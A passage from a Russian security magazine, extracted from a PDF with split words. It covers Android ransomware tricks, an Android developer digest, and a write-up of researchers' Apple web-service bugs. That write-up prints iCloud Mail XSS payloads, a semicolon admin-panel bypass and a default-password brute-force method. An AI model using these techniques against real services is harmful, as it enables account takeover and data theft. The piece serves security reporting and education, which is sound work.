ность  это го  вымога теля:  она  научи лась  бло киро вать  устрой ство,  показы вая
сооб щение  о  выкупе  без  исполь зования  экранных  овер леев  (SYS‐
TEM_ALERT_WINDOW),  воз можнос ти  которых  Google  серь езно  огра ничи ла
в пос ледних вер сиях Android.

Вмес то овер лея злов ред исполь зует так называ емое пол ноэк ранное уве‐ 
дом ление,  с  помощью  которо го  легитим ный софт показы вает  экран  звон ка.
Кро ме  тек ста  (и  дру гих  стан дар тных  атри бутов),  такое  уве дом ление  так же
содер жит ссыл ку на активность (экран при ложе ния), который и будет показан,
ког да уве дом ление появит ся в сис теме.

Код, соз дающий пол ноэк ранное уве дом ление

Од нако один раз показы вать сооб щение о выкупе было бы бес полез но,  так
как поль зователь смог бы нажать кноп ку «Домой» или «Назад» и прос то зак‐ 
рыть  его.  Поэто му  злов ред  исполь зует  еще  один  при ем:  переза пус кает
активность в методе  .onUserLeaveHint()

Код злов редной активнос ти

Ме тод    —  это  кол бэк,  который  сис тема  вызыва ет
перед тем, как активность исчезнет с экра на. Поэто му переза пуск активнос ти
в этом методе при водит к тому, что поль зователь прос то не может покинуть
экран с сооб щени ем о выкупе.

onUserLeaveHint()

Сам экран с сооб щени ем о выкупе при этом пред став ляет собой обыч ный
WebView с информа цией от яко бы полиции о най ден ных на устрой стве ком‐ 
про мети рующих поль зовате ля матери алах. В коде так же была най дена отклю‐ 
чен ная модель сис темы машин ного обу чения, которая, ско рее все го, дол жна
была  исполь зовать ся  для  под гонки  сооб щения  под  раз решение  экра на
устрой ства.

Бе зум ное сооб щение вымога теля

Еще  одна  инте рес ная  осо бен ность  злов реда —  спо соб  шиф рования  кода,
а точ нее, спо соб скры тия методов шиф рования кода. В основном DEX‐фай ле
шиф роваль щика  есть  класс,  содер жащий  методы  для  шиф рования  и  рас‐ 
шифров ки осталь ных час тей при ложе ния. На вход эти методы получа ют стро‐ 
ку  (которая  на  пер вый  взгляд  кажет ся  клю чом  шиф рования),  а  на  выходе
почему‐то воз вра щают объ ект клас са Intent (такие объ екты в Android исполь‐ 
зуют ся для отправ ки сооб щений дру гим при ложе ниям).

На самом деле вход ная стро ка — это прос то мусор, а сам интент содер‐ 
жит поле action, в котором как раз и хра нит ся адрес рас шифро ван ных дан ных.

РАЗРАБОТЧИКУ

Мифы о производительности Android
 —  раз бор  ста рых  и  новых  мифов  о  про‐ 

изво дитель нос ти Android.
Busting  Android  performance myths

1.   Кон‐ 
верта ция  при ложе ния Google Drive  на  Kotlin  показа ла,  что  раз мер  и  ско‐ 
рость  запус ка  при ложе ния  прак тичес ки  не  изме нились,  зато  раз мер
кодовой базы сок ратил ся при мер но на 25%.

При ложе ния на Kotlin мед леннее и боль ше при ложе ний на Java.

2.    Некото рые  раз работ‐ 
чики отка зыва ются от гет теров в поль зу пуб личных полей (  про тив

), что бы повысить про изво дитель ность. Одна ко это ничего
не дает, потому что ком пилятор ART уме ет инлай нить гет теры, прев ращая
их в обыч ные обра щения к полям.

Гет теры  сле дует  изме нять  на  пуб личные поля.

foo.bar

foo.getBar()

3.    Лям бды  счи тают ся
очень мед ленны ми, и ты можешь встре тить советы заменить их. На самом
деле  пос ле  ком пиляции  лям бды  прев раща ются  в  те  же  ано ним ные  вло‐ 
жен ные клас сы.

Лям бды  луч ше  заменять  вло жен ными  клас сами.

4.   Ког‐ 
да‐то это дей стви тель но было прав дой, но за пос ледние годы раз работ‐ 
чики  сде лали  алло катор  объ ектов  в  десят ки  раз,  а  сбор щик  мусора  —
в нес коль ко раз быс трее. Нап ример, на Android 10 авто мати чес кая алло‐ 
кация  объ ектов  в  тес тах  про изво дитель нос ти  ничем  не  отли чает ся
от алло кации и осво бож дения пула объ ектов вруч ную (имен но такой спо‐ 
соб  рекомен довали  исполь зовать  для  сох ранения  про изво дитель нос ти
рань ше).

Ал локация объ ектов и  сбор ка мусора  в Android — мед ленные.

5.   Обыч но при про фай лин‐ 
ге  при ложе ния  раз работ чики  не  обра щают  вни мания,  что  име ют  дело
с  debug‐сбор кой.  В  резуль тате  они  ана лизи руют  про изво дитель ность
неоп тимизи рован ного кода и получа ют невер ные резуль таты про фай лин‐ 
га.

Про фай линг дебаг‑сбо рок — это нор маль но.

6.    При  пре‐ 
выше нии лимита на количес тво методов ком пилятор раз бива ет при ложе‐ 
ние на нес коль ко исполня емых фай лов DEX. Счи тает ся, что это при водит
к  сни жению  вре мени  стар та  при ложе ния.  На  деле  если  такой  эффект
и есть, то он про явля ется толь ко при наличии сотен фай лов DEX. С дру гой
сто роны, MultiDex‐при ложе ния занима ют на нес коль ко про цен тов боль ше
опе ратив ной и пос тоян ной памяти.

У MultiDex-при ложе ний более мед ленный  холод ный старт.

7.    Это  дей стви тель но  так.
Иссле дова ние  показа ло,  что  при ложе ние  Google  содер жит  боль шое
количес тво  никог да  не  исполь зуемо го  кода.  Одна ко  это  не  прос то  мер‐ 
твый  код,  это  код  обра бот ки  оши бок,  код  под дер жки  ста рых  вер сий  An‐
droid  и  код  ред ко  исполь зуемых  фун кций.  Нас тоящий  мер твый  код,
который  не  исполь зует ся  ни  при  каких  обсто ятель ствах,  уда ляет ся  опти‐ 
миза тором R8.

При ложе ния  содер жат  мно го  мер тво го  кода.

Вре мя стар та при ложе ния до и пос ле кон верта ции на Kotlin

Адаптация приложения к современным требованиям приватности
 — статья о том, как написать

пра виль ное с точ ки зре ния при ват ности поль зовате ля при ложе ние.
Adapt your app for the latest privacy best practices

1.    Для  при ложе‐ 
ний, соб ранных для Android 11  (targetSdkVersion 30), дей ству ют огра ниче‐ 
ния на прос мотр информа ции и ком муника цию с дру гими при ложе ниями.
Теперь при ложе ние дол жно пря мо ука зывать в манифес те, с какими при‐ 
ложе ниями оно может вза имо дей ство вать и какие интенты может исполь‐ 
зовать. Офи циаль ная докумен тация   мно жес тво при меров,
пок рыва ющих поч ти все воз можные слу чаи. Плюс ко все му, если твое при‐ 
ложе ние  исполь зует  content  provider,  что бы  рас шаривать  информа цию
дру гим  при ложе ниям,  ты  дол жен  ука зывать  флаг 

  в  любом интенте,  рас шарива ющем дан ные
про вай дера:

Раз решение  на  «обще ние»  с  дру гими  при ложе ниями.

рас смат рива ет

Intent.FLAG_‐
GRANT_READ_URI_PERMISSION

       val shareIntent = Intent(Intent.ACTION_VIEW).apply {
        flags = Intent.FLAG_GRANT_READ_URI_PERMISSION
        data = // URI, расшариваемый с другим приложением
}

2.   Иссле дова ния  , что поль‐ 
зовате ли склон ны пре дос тавлять при ложе ниям пол номочия, ког да им тре‐ 
бует ся  кон крет ная  фун кци ональ ность  при ложе ния,  которая  не  будет
работать без это го раз решения. Толь ко 32% поль зовате лей пре дос тавля‐ 
ют  раз решение  потому,  что  доверя ют  раз работ чику  при ложе ния.  Вто рой
момент, который необ ходимо пом нить: если при ложе ние соб рано для An‐
droid 11, оно боль ше не может зап рашивать раз решение на опре деле ние
мес тополо жения в фоне  (background  location) сра зу, сна чала оно дол жно
зап росить раз решение foreground location.

Пос тепен ный зап рос раз решений. по казы вают

3.   Android раз реша ет исполь‐ 
зовать  дос туп  к  камере  и  мик рофону,  толь ко  если  при ложе ние  видимо
на экра не. Это же отно сит ся и к сер висам: foreground service име ет икон ку
в  панели  сос тояния,  и  поэто му  он  видим  и  может  исполь зовать  камеру
и  мик рофон.  Android  11  вво дит  еще  одно  тре бова ние —  сер вис  дол жен
пря мо ука зать, какие типы сен соров он будет исполь зовать:

Кор рек тный дос туп к камере и мик рофону.

   android:foregroundServiceType = "microphone | location | camera"

4.   Android 10 зап реща ет чте ние мно гих хар‐ 
двар ных иден тифика торов устрой ства, вклю чая серий ный номер SIM‐кар‐ 
ты и IMEI. Android 11 так же зак рыва ет воз можность читать ICC ID. В качес‐ 
тве  аль тер нативы  мож но  исполь зовать  метод  ,
который воз вра щает иден тифика тор, уни каль ный для каж дой SIM‐кар ты.

Иден тифика торы устрой ства.

getSubscriptionId()

Быстрая мультиплатформенная NoSQL база данных
 — анонс

новой NoSQL базы дан ных для муль тип латфор менных про ектов на Kotlin.
Announcing a painless Kotlin/Multiplatform NoSQL embedded database

 спе циаль но соз дана для несер верных про ектов, в которых важ‐ 
но удобс тво исполь зования и гиб кость, а не воз можность соз давать слож ные
схе мы хра нения дан ных. Это край не быс трая база дан ных, в некото рых опе‐ 
раци ях  в  десят ки  раз  опе режа ющая  SQLite  по  ско рос ти.  Она  очень  прос та
в исполь зовании и не тре бует никаких под готови тель ных шагов. Базу дан ных
мож но открыть и сра зу исполь зовать для сох ранения объ ектов:

Kodein‐DB

// Все модели должны быть сериализуемы и реализовать интерфейс 
Metadata
@Serializable

 data class User(
   // Каждый экземпляр должен использовать уникальный ID
         override val id: String,
       val firstName: String,
       val lastName: String
   ) : Metadata

             fun store(db: DB, user: User) { db.put(user) }

             fun load(db: DB, id: String): User = db.get(db.newKey<User>(id)).
model

     fun test(db: DB) {
         val id = UUID.randomUUID()
             val user = User(id, "John", "Doe")
     store(db, user)
           val otherUser = load(db, id)
     assertEquals(user, otherUser)
}

Kodein‐DB  кеширу ет  все  дан ные  в  опе ратив ной  памяти  и  уме ет  сооб щать
о  выпол ненных  опе раци ях,  поэто му  ее  мож но  исполь зовать  как  еди ный
источник исти ны (single source of truth), не дуб лируя сос тояние БД в опе ратив‐ 
ной памяти самос тоятель но:

     fun listenForChange(db: DB) {
     db.on<ChatMessage>().register {

        didPut {
           addMessageToUI(it)
       }

        didDelete {
           reloadList(
               db.find<Chat>()
                   .byIndex("time")

                            .useModels(reverse = true) { it.toList() }
           )
       }
   }
}

В нас тоящий момент про ект находит ся в сос тоянии беты, но уже впол не при‐ 
годен для пов седнев ного исполь зования.

Бен чмарк про изво дитель нос ти

Бенчмарк библиотек загрузки изображений
  —  бен чмарк  биб лиотек

для сетевой заг рузки изоб ражений: Coil, Glide, Fresco, Picasso 2/3.
Benchmarking  Image  Loading  Libraries  on  Android

Биб лиоте ки заг рузки изоб ражений нуж ны поч ти в каж дом мобиль ном при‐ 
ложе нии. Они вхо дят в must have спи сок любых под борок биб лиотек. Поэто му
выбор биб лиоте ки  важен. Раз работ чик  одной из  популяр ных биб лиотек Coil
срав нил нес коль ко биб лиотек и при шел к выводу, что по соот ношению про‐ 
изво дитель ность/раз мер  безого вороч но  выиг рыва ет  Picasso.  Это  край не
ком пак тная и про изво дитель ная биб лиоте ка, одна ко она не обла дает рядом
фун кций,  которые,  нап ример,  есть  в  Coil,  и  не  опти мизи рует  пот ребле ние
опе ратив ной  памяти.  Поэто му  окон чатель ный  выбор  сле дует  делать  исхо дя
из текущих пот ребнос тей при ложе ния.

Бен чмарк биб лиотек (control — заг рузка изоб ражений вруч ную)

Запуск кода Java на устройстве без создания APK
  —

неболь шая замет ка о том, как запус тить исполня емый код на Android без соз‐ 
дания пакета APK.

HOWTO:  Running  Java  code  directly  on  Android  (without  creating  an  APK)

До пус тим,  у нас есть  такой  код на Java  (необя затель но вда вать ся в под‐ 
робнос ти его реали зации):

 package com.example;

 import org.apache.commons.cli.DefaultParser;
 import org.apache.commons.cli.HelpFormatter;
 import org.apache.commons.cli.Option;
 import org.apache.commons.cli.Options;
 import org.apache.commons.cli.ParseException;

     public class HelloWorld {
               public static void main(String[] args) throws ParseException {
             Option version = new Option("v", "Print version");
             Option help = new Option("h", "Print help");
           Options options = new Options();
   options.addOption(help);
   options.addOption(version);
               

 
for (Option opt : new DefaultParser().parse(options, args).

getOptions()) {
        if (opt.equals(version)) {

            String os = System.getProperty("os.arch");
              System.out.println("Hello World (" + os + ") v0.1");

     }
        if (opt.equals(help)) {

          new HelpFormatter().printHelp("Hello World", options);
     }
   }
 }
}

Мы хотим запус тить его пря мо на устрой стве, не соз давая файл APK. Для это‐ 
го его необ ходимо ском пилиро вать:

 1.7   1.7   bin $ javac ‐source ‐target ‐d ‐cp lib/commons‐cli‐1.3.1.jar 
src/com/example/HelloWorld.java 

В дан ном слу чае   — это каталог, в который ком пилятор помес тит получен‐ 
ный  байт‐код  Java,    —  биб лиоте ка —  зависи‐ 
мость кода, а   — путь к исходно му фай‐ 
лу.

bin
lib/commons‐cli‐1.3.1.jar

src/com/example/HelloWorld.java

Те перь получен ный байт‐код Java необ ходимо пре обра зовать в байт‐код
DEX, при год ный для исполне ния на Android‐смар тфо не:

$ ./android‐sdk‐linux/build‐tools/23.0.2/dx ‐‐output=helloworld.jar 
‐‐dex ./bin lib/commons‐cli‐1.3.1.jar 

В  тво ем  слу чае  путь  к  коман де    может  быть  дру гим  (обыч но  каталог 
 рас полага ется в катало ге Android Studio или рядом с ним).

dx an‐
droid‐sdk‐linux

Да лее необ ходимо соз дать shell‐скрипт, который будет запус кать наш код:

base=/data/local/tmp/helloworld 
export CLASSPATH=$base/helloworld.jar 
export ANDROID_DATA=$base

   mkdir ‐p $base/dalvik‐cache 
exec app_process $base com.example.HelloWorld "$@"

Здесь    —  это  коман да  Android,  которая  запус кает  новую  вир‐ 
туаль ную  машину.  Точ но  таким  же  обра зом  запус кают ся  стан дар тные  при‐ 
ложе ния для Android.

app_process

Те перь скрипт вмес те с байт‐кодом мож но переки нуть на устрой ство:

 $ adb shell mkdir ‐p /data/local/tmp/helloworld 
$ adb push helloworld.jar /data/local/tmp/helloworld 
$ adb push helloworld.sh /data/local/tmp/helloworld 
$ adb shell chmod 777 /data/local/tmp/helloworld/helloworld.sh 

И запус тить:

$ adb shell /data/local/tmp/helloworld/helloworld.sh ‐v

ИНСТРУМЕНТЫ

 — скрипт для быс тро го отклю чения SSL‐валида ции, вклю чая SSL
Pinning в при ложе ниях для Android;

• MEDUZA

  —  ути лита  для  обна руже ния  неп равиль ного  исполь зования
крип тогра фии в при ложе нии;

• Cryptoguard

 — еще одна ути лита для поис ка оши бок в исполь зовании крип‐ 
тогра фии.

• Crylogger

БИБЛИОТЕКИ

 — биб лиоте ка для соз дания экра нов нас трой ки;• Material‐prefs
 — сбор ник фун кций‐рас ширений на все слу чаи

жиз ни;
• Awesome‐kotlin‐extensions

 — диалог с прось бой оце нить при ложе ние;• Smart‐Rating‐App
 — эффект кон фетти;• Konfetti
 — кра сивое ани миро ван ное меню;• Cascade
 — биб лиоте ка для соз дания и запус ка сер висов;• BootLaces

 — плей схол деры пас тель ных цве тов для изоб ражений;• PastelPlaceholders
 — биб лиоте ка для пар синга RSS;• KtRssReader

 — набор эле мен тов интерфей са, соз данных с исполь зовани ем
Jetpack Compose;

• Orchestra

 — набор инс тру мен тов для обра бот ки изоб ражений;• Transformers
 — быс трая NoSQL база дан ных, написан ная на Kotlin;• Kodein‐DB

 — перек лючатель при ложе ний с эффектом блю ра;• BlurImageSwitcher
  —  пла гин  Gradle  для  про вер ки  новых  вер сий

биб лиотек.
• Version‐checker‐gradle‐lint
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ВЗЛОМ

Груп па из пяти иссле дова телей за три месяца нап ряжен ной
работы сумела отыс кать 55 уяз вимос тей в онлайн‐сер висах
кор порации Apple. Вни матель но изу чив опуб ликован ную в их
бло ге информа цию, мы решили под робно рас ска зать о трех
наибо лее инте рес ных, на наш взгляд, наход ках хакеров.

ИБ‐иссле дова тели всег да уде ляли немало вни мания 
 Apple, а вот гром кие взло мы облачных сер висов ком пании обыч но

сво дились к кра же чьих‐то учет ных дан ных. Но вот и этот бас тион пал. Коман‐ 
да  иссле дова телей  в  сос таве  двад цатилет него    (Sam  Curry),

  (Brett  Buerhaus),    (Ben  Sadeghipour), 
 (Samuel Erb) и   (Tanner Barnes) опуб ликова ла 

 об успешном обна руже нии 55 дыр в веб‐сер висах Apple. Про демонс три‐ 
ровав  тем  самым,  нас коль ко  уяз вимой может  быть  сетевая  инфраструк тура
круп ной ком пании, если ее безопас ности не уде ляет ся дол жно го вни мания.

же лезу и опе раци онным
сис темам

Сэ ма  Кар ри
Брет та  Бюр хауса Бе на  Садеги пура Сэ‐ 
мюэля Эрба Тан нера Бар нса от‐ 
чет

Пар ни смог ли выявить 11 кри тичес ких уяз вимос тей, 29 — с высокой сте‐ 
пенью потен циаль ной опас ности, 13 — сред ней кри тич ности и 2 — нек ритич‐ 
ных.  Обна ружен ные  бре ши  поз воля ют  зло умыш ленни кам  запус тить  чер вя,
спо соб ного авто мати чес ки зах ватывать учет ные записи iCloud, ском про мети‐ 
ровать  ряд  веб‐при ложе ний,  пред назна чен ных  как  для  кли ентов,  так  и  для
сот рудни ков Apple, а так же получить дос туп к свя тая свя тых — репози торию,
в котором хра нят ся исходные коды прог рамм для iOS и macOS. Выяв ленные
уяз вимос ти так же дают воз можность перех ватывать сеан сы сот рудни ков ком‐ 
пании, получив дос туп к инс тру мен там управле ния и про чей кон фиден циаль‐ 
ной информа ции.

На сво ем сай те Сэм Кар ри приз нает ся, что узнал обо всех аспектах прог‐ 
раммы Apple bug bounty слу чай но. Он про читал в твит тере сооб щение о том,
что ком пания наг радила при зом в 100 тысяч дол ларов поль зовате ля, нашед‐ 
шего механизм обхо да аутен тифика ции учет ной записи Apple. До это го Cэм
думал, что кор порация пла тит толь ко за обна руже ние уяз вимос тей в железе
и опе раци онных сис темах.

Тот самый твит, вдох новив ший Сэма Кар ри начать иссле дова ния

Изу чив  усло вия  прог раммы,  Сэм  решил  попытать  счастья.  А  что бы  работа
дви галась  быс трее,  он  написал  нес коль кими  хакерам,  с  которы ми  работал
рань ше,  и  пред ложил  им  при нять  учас тие  в  пен тестин ге.  Так  появи лась
коман да, которая в ито ге добилась успе ха.

РЕКОГНОСЦИРОВКА
Для начала пар ни пос тарались соб рать мак симум информа ции обо всех дос‐ 
тупных веб‐сер висах Apple и их наз начении. На спе циаль ной панели записы‐ 
вали  све дения  об  IP‐адре сах,  доменах,  дос тупных  пор тах,  дан ных  из  HTTP‐
заголов ков, отве тов сер вера и про чие полез ные све дения.

Пер вый этап успешно го взло ма — сбор информа ции

Мас шта бы «сетевой импе рии» Apple поис тине поража ли вооб ражение. Выяс‐ 
нилось,  что  кор порации  при над лежит  огромный  диапа зон  IP‐адре‐ 
сов 17.0.0.0/8, который вклю чает 25 тысяч веб‐сер веров, 10 тысяч из которых
находят ся в домен ной зоне apple.com, еще 7 тысяч уни каль ных доменов и в
довер шение  все го  их  собс твен ный  TLD  .  Иссле дова тели  решили
более  деталь но  изу чить  адре са  в  диапа зоне  17.0.0.0/8,  а  так же  домены 

  и  ,  пос коль ку  имен но  там  и  были  сос редото чены
самые инте рес ные фун кции.

.apple
.

apple.com .icloud.com

Оп ределив шись  с  пред метом  для  даль нейше го  изу чения,  хакеры  запус‐ 
тили  авто мати чес кое  ска ниро вание  в  поис ках  извес тных  уяз вимос тей.
Это поз волило им луч ше понять, как работа ет сис тема аутен тифика ции поль‐ 
зовате лей  на  сай тах  Apple,  как  сер веры  обра щают ся  с  фай лами  cookies,
какие  там  запуще ны  веб‐при ложе ния  и  какие  инс тру мен ты  при меня лись
для  их  раз работ ки.  В  час тнос ти,  были  обна руже ны  сер веры  VPN  с  уяз‐ 
вимостью  ,  поз воля ющей  читать  локаль ные  фай лы,  и  утеч ка
токена дос тупа в сооб щении об ошиб ке на нерабо тающей стра нице.

CVE‐2020‐3452

Ре зуль таты  ска ниро вания  поз волили  иссле дова телям  сос редото чить ся
на  нес коль ких  веб‐сер висах,  пред став лявших  наиболь ший  инте рес  с  точ ки
зре ния  воз можных  уяз вимос тей. Самыми  важ ными наход ками  коман ды Сэм
Кар ри поделил ся на  , а мы рас ска жем о них даль ше.сво ем сай те

КОМПРОМЕТАЦИЯ УЧЕТНЫХ ЗАПИСЕЙ ПРЕПОДАВАТЕЛЕЙ APPLE
Пер вым  сай том,  который  взло мала  коман да  Сэма  Кар ри,  был  зак рытый
форум  Apple  Distinguished  Educators  (ADE),  пред назна чен ный  для  пре пода‐ 
вате лей,  которые исполь зуют в работе  тех нологии Apple. В качес тве движ ка
это го  сер виса  при меня ется  Jive,  к  которо му  в  Купер тино  прик рутили  собс‐ 
твен ный  модуль  авто риза ции,  поз воля ющий  юзе рам  логинить ся  в  сис тему
с  исполь зовани ем  сво его  Apple  ID.  Если  поль зователь  еще  не  зарегис три‐ 
рован в ADE, ему пред лага ют оста вить заяв ку, запол нив нехит рую регис тра‐ 
цион ную фор му.

Ин вайт нужен не толь ко на Леп ру, но и на некото рые сай ты Apple

При  запол нении  этой  регис тра цион ной  фор мы  поль зовате ли  вво дят  те  же
дан ные,  которые  обыч но  ука зыва ют  при  регис тра ции  в  Jive,  но  здесь  прог‐ 
рамма  пыталась  сопос тавить  адрес  email  c  учет ной  записью  Apple  ID.
При этом регис тра цион ная фор ма сре ди про чих дан ных переда вала на сер‐ 
вер скры тое поле   со зна чени ем  .password ###INvALID#%!3

 <div class="j‐form‐row">
     <input id="password" type="hidden" value="###INvALID#%!3">

 <div id="jive‐pw‐strength">

При каж дой попыт ке регис тра ции пароль переда вал ся один и тот же. В то же
вре мя в ADE мож но авто ризо вать ся толь ко через Apple ID. Одна ко взлом щики
пред положи ли, что сущес тву ет какой‐то спо соб вой ти в Jive с помощью име‐ 
ни  одной  из  под твержден ных  модера тора ми  учет ных  записей  и  это го  стан‐ 
дар тно го пароля из скры того поля регис тра цион ной фор мы. Вдум чивый гуг‐ 
леж показал, что в Jive есть спе циаль ная фун кция  , обес печива ющая
вход  в  учет ку  стан дар тным методом —  с  логином  и  паролем юзе ра.  Пар ни
сфор мирова ли  соот ветс тву ющий  HTTP‐зап рос  для  аутен тифика ции  в  сис‐ 
теме и получи ли от сер вера сооб щение о неп равиль ном пароле,  что, собс‐ 
твен но, неуди витель но, пос коль ку их учет ки еще не прош ли модера цию.

cs_login

Что бы  най ти  дей ству ющие  про фили  поль зовате лей,  Кар ри  и  ком пания
вос поль зовались  замеча тель ным  инс тру мен том  под  наз вани ем  .
Спус тя при мер но две минуты перебо ра трех символь ных имен поль зовате лей
в сочета нии со стан дар тным паролем сер вер вер нул ответ об успешной авто‐ 
риза ции.

Burp  Suite

За логи нив шись в ADE, иссле дова тели получи ли спи сок адми нис тра торов
форума,  одна ко  добыть  дос туп  к  панели  адми нис тра тора  по  стан дар тно му
адре су    у  ата кующих  не  выш ло.  Пос ле  нес коль ких  экспе римен тов
иссле дова тели  выяс нили,  что  админка откры вает ся  при добав лении  к  это му
URL точ ки с запятой. Что бы облегчить себе жизнь, хакеры про писа ли в Burp
соот ветс тву ющие пра вила для GET‐ и POST‐зап росов.

/admin/

Пра вила для дос тупа к админке Jive в Burp

Тут  выяс нилась  еще  одна  под робность:  далеко  не  все  юзе ры,  записан ные
в ADE в  качес тве адми нис тра торов, име ют пол ный дос туп  к адми нис тра тив‐ 
ной  панели  Jive.  Толь ко  поп робовав  нес коль ко  админ ских  уче ток,  хакеры
наш ли  такую,  которая  откры вала  дос туп  ко  всем  воз можнос тям  управле ния
форумом — к уста нов ке пла гинов, шаб лонов, управле нию фай лами и выпол‐ 
нению кода.

Взло мав учет ку суперад минис тра тора, хакеры получи ли дос туп
к управле нию ADE

С такими пра вами зло умыш ленни ки мог ли бы:
вы пол нить про изволь ные коман ды на веб‐сер вере ade.apple.com;•
по лучить  дос туп  к  внут ренней  служ бе  LDAP  для  управле ния  учет ными
запися ми поль зовате лей;

•

по лучить дос туп к час ти внут ренней сети Apple.•

КРАЖА ДАННЫХ ICLOUD С ИСПОЛЬЗОВАНИЕМ СЕТЕВОГО ЧЕРВЯ
Что  такое  iCloud,  вла дель цам  девай сов  Apple  объ яснять  не  надо —  в  этой
облачной  инфраструк туре  хра нят ся  и  фотог рафии,  и  дан ные  при ложе ний,
и резер вные копии с поль зователь ских устрой ств. Кро ме того, iCloud пре дос‐ 
тавля ет поль зовате лям дос туп к фун кции Find my iPhone и к элек трон ной поч‐ 
те. Учет ка iCloud, как и дру гие «яблочные» сер висы, при вяза на к Apple ID.

Поч та на iCloud — это пол ноцен ный поч товый сер вис, такой же, как Gmail,
с  одним  отли чием:  в  поч товых  кли ентах  на  айфо нах  и  маках  iCloud  исполь‐ 
зует ся  в  качес тве  элек трон ной  поч ты  по  умол чанию.  Поч товый  сер вер  раз‐ 
меща ется  на  домене  ,  так  же  как  и  дру гие  сер висы  iCloud,  что
теоре тичес ки дела ет их  уяз вимыми для меж сай тового скрип тинга  (cross‐site
scripting).  Сэму  Кар ри  и  коман де  оста лось  толь ко  отыс кать  под ходящую
брешь в сис теме безопас ности iCloud.

icloud.com

Ис сле дова тели обра тили вни мание на одну осо бен ность работы поч товых
при ложе ний от Apple: ког да поль зователь получа ет и откры вает элек трон ное
пись мо,  оно  пре обра зует ся  в  боль шой  дво ичный  объ ект  JSON,  который
обра баты вает ся с исполь зовани ем JavaScript, а затем демонс три рует ся юзе‐ 
ру.  Это  озна чает,  что  обра бот ка  сооб щений,  в  том  чис ле  ана лиз  и  очис тка
содер жимого,  выпол няет ся  не  на  сто роне  сер вера,  а  на  сто роне  кли ента,
при этом все фун кции визу али зации самого пись ма реали зова ны с помощью
JavaScript.

Эк спе римен тируя  с  раз личны ми  при ема ми  XSS,  Сэм  Кар ри  обна ружил,
что если в пись ме встре чает ся два CSS‐тега  , то поч товая прог рамма
во вре мя обра бот ки собира ла их содер жимое в один тег. Если при этом раз‐ 
местить  кусок  зак рыва юще го  тега    в  пер вом  теге  ,  а  вто рую
часть —   — во вто ром,  поч товый  кли ент про дол жает думать,  что  тег  все
еще  открыт,  хотя  это  не  так.  Сэм  соз дал  и  отпра вил  самому  себе  пись мо
со сле дующим кодом:

<style>

sty <style>
le>

<style></sty</style>
<style>le><sсript>alert(1)</sсript></style>

Ког да он открыл это сооб щение, то уви дел, что улов ка сра бота ла!

При мер работы меж сай тового скрип тинга в iCloud

Поч товый кли ент обра ботал и соб рал этот фраг мент кода сле дующим обра‐ 
зом:

<style></style><sсript>alert(1)</sсript></style>

Пос коль ку поч товый сер вер рас полага ется в домене  ,  это  озна‐ 
чает,  что  у  при ложе ния  есть  воз можность  получать  HTTP‐отве ты  для  соот‐ 
ветс тву ющих  API‐интерфей сов  служ бы  iCloud.  На  прак тике  это  поз воля ет
украсть у поль зовате лей iCloud лич ную информа цию вро де фотог рафий, сох‐ 
ранен ных докумен тов или дан ных кален даря, а потом разос лать этот экс пло ит
по всем кон тактам жер твы. Исполь зуемый для это го прин цип XSS Сэм Кар ри
показал на сле дующей схе ме.

icloud.com

Прин цип дей ствия XSS в iCloud

Не откла дывая дела в дол гий ящик, пар ни запили ли Proof of Concept, который
с исполь зовани ем  iCloud API получа ет URL хра нящих ся в  iCloud фотог рафий
поль зовате ля,  встав ляет  их  в  теги  изоб ражений.  Пос коль ку  в  поч товых  кли‐ 
ентах  от  Apple  исполь зует ся  JavaScript,  зло умыш ленник  может  нап равить
самому себе пись мо, содер жащее ссыл ки на видео, фото, докумен ты жер твы,
и ее спи сок кон тактов, а затем разос лать по этим кон тактам пись мо с экс пло‐ 
итом.  Тех ничес ки  нес ложно  написать  скрипт,  который  авто мати зиру ет  этот
про цесс,  в  резуль тате  чего  механизм  рас простра нения  спло ита  будет
напоми нать  прин цип  дей ствия  поч тового  чер вя.  PoC  реали зации  этой  уяз‐ 
вимос ти мож но пос мотреть на сле дующем видео.

Чуть  поз же  Сэм  Кар ри  нашел  еще  одну  XSS‐уяз вимость  в  «яблочном»  поч‐ 
товике, а имен но в механиз ме обра бот ки гипер ссы лок. Неред ко инте рес ные
осо бен ности  поведе ния  прог рамм  про явля ются,  ког да  немар кирован ный
URL пре обра зует ся в гипер ссыл ку. Еще одно харак терное мес то для поис ка
XSS‐уяз вимос тей  —  уда ление  из  кода  пись ма  опре делен ных  тегов  вро де 

 При  этом пар серы  час то  игно риру ют  слу жеб ные  сим‐ 
волы вро де про белов, перево дов строк, сим волов табуля ции, что откры вает
опре делен ный прос тор для твор чес тва.

 и  .<iframe> <script>

Кар ри решил  поиг рать  с  обо ими  эти ми  при ема ми и  с  удив лени ем обна‐ 
ружил,  что  сле дующая  стро ка  лома ет  пра виль ное  поведе ние  пар сера  Java‐
Script в поч товых кли ентах Apple:

https://www.domain.com/abc#<script></script>https://domain.com/abc 

Пос ле  отправ ки  сооб щения  с  такой  стро кой  оно  обра баты вает ся  пар сером
и получа ет сле дующее пред став ление:

     
   

<a href="https://www.domain.com/abc#<a href=" https:="" www.domain.
com="" abc=""" rel="noopener noreferrer">https://www.domain.com/abc</
a>

Ис поль зовать этот эффект в недоб рых целях не так‐то прос то, одна ко внут ри
тега    мож но  попытать ся  исполь зовать  раз личные  атри буты  вро де

,  ,  . Но зло умыш ленни ку все рав но при дет ся исполь‐ 
зовать  какой‐то  URL,  что бы  пар сер  его  пра виль но  обра ботал  и  прев ратил
в  гипер ссыл ку. Пос ле  дол гих  экспе римен тов  с  раз личны ми  спец симво лами,
оди нар ными  и  двой ными  кавыч ками  Сэм  при шел  к  сле дующе му  фор мату
полез ной наг рузки:

<script>
src onmouseover onclick

https://www.icloud.com/mail/#<script></script>https://www.icloud.com/
onmouseover=location=/javascript:alert%28document.domain%29/.
source;// 

Пос ле обра бот ки пар сером стро ка пре обра зует ся в сле дующий фор мат:

     
 

<a href="https://www.icloud.com/mail#<a href=" https:="" www.icloud.
com="" onmouseover="location=/javascript:alert%28document.domain%29/.
source;//"">https://www.icloud.com/onmouseover=location=/javascript:
alert%28document.domain%29/.source;//</a>

Ес ли открыть такое пись мо в поч товом кли енте Apple, мы можем уви деть вот
такой сим патич ный алерт.

Ошиб ка в обра бот ке URL в поч товых кли ентах Apple

Ис сле дова тели  пред ложили  сле дующее  объ ясне ние  это му  явле нию:
при обра бот ке исходно го URL теги   и   уда лялись пар сером,
и на их мес те обра зовал ся про бел, который ломал фун кцию авто мати чес кого
пре обра зова ния URL в гипер ссыл ку, не зак рывая при этом тег  . Иду‐ 
щий сле дом URL вновь вклю чал механизм пре обра зова ния адре сов в ссыл‐ 
